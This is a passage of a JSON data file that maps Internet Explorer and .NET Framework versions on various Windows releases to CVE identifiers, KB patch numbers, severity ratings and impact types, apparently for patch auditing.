2012":[{"cve":"CVE-2019-1429","kb":"4525106","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003208","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2012 R2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012204","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048958","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8594","kb":"4025336","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025336","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034681","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034681","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074594","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088876","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088876","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103725","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4339093","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4339093","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343898","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343898","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471320","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471320","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471320","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480963","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493446","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525243","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003209","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2016":[{"cve":"CVE-2016-7241","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4013429","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-0059","kb":"4013429","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4053579","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025339","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8625","kb":"4034658","severity":"Low","impact":"Security Feature Bypass"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4088787","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343887","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4467691","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471321","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471321","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471321","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480961","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493470","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525236","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537764","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003197","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 11 on Windows Server 2019":[{"cve":"CVE-2018-8552","kb":"4467708","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471332","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471332","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471332","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480116","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-0752","kb":"4493509","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4523205","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4532691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003171","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4047206","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025252","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034733","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4089187","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4089187","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343205","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471325","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471325","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471325","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480968","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525234","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003210","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11793","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11810","kb":"4040685","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11855","kb":"4047206","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11890","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11903","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11906","kb":"4052978","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2017-11907","kb":"4052978","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8618","kb":"4025252","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034733","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4089187","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0935","kb":"4089187","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8353","kb":"4343205","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8552","kb":"4466536","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8619","kb":"4471325","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8625","kb":"4471325","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2018-8631","kb":"4471325","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0541","kb":"4480968","severity":"Low","impact":"Remote Code Execution"},{"cve":"CVE-2019-1429","kb":"4525234","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2020-0674","kb":"4537767","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2021-26419","kb":"5003210","severity":"Critical","impact":"Remote Code Execution"}],"Internet Explorer 9 on Windows Vista Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"}],"Internet Explorer 9 on Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0059","kb":"4012204","severity":"Important","impact":"Information Disclosure"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 2.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-8759","kb":"4040978","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.0 Service Pack 2 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2020-0646","kb":"4535105","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566469","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6.2/4.7/4.7.1/4.7.2 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580346","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580327","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.6/4.6.1/4.6.2 on Windows 10 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580327","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534276","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.1/4.7.2 on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534276","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580328","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.7.2 on Windows Server, version 1803 (Server Core Installation)":[{"cve":"CVE-2020-0646","kb":"4534293","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4580330","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for 32-bit Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 1909 for x64-based Systems":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for 32-bit Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for ARM64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows 10 Version 2004 for x64-based Systems":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4579976","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1903 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 1909 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4532938","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578974","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 AND 4.8 on Windows Server, version 2004 (Server Core installation)":[{"cve":"CVE-2020-1147","kb":"4578968","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038783","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4534271","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038788","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-8759","kb":"4038781","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012":[{"cve":"CVE-2017-8759","kb":"4040979","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040979","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535103","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566467","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 R2":[{"cve":"CVE-2017-8759","kb":"4040981","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2016":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4038782","severity":"Important","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 3.5.1 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-8759","kb":"4040980","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-8759","kb":"4040977","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535102","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4566466","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET Framework 4.5.2 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-8759","kb":"4040974","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2020-0646","kb":"4535104","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1147","kb":"4578962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft .NET 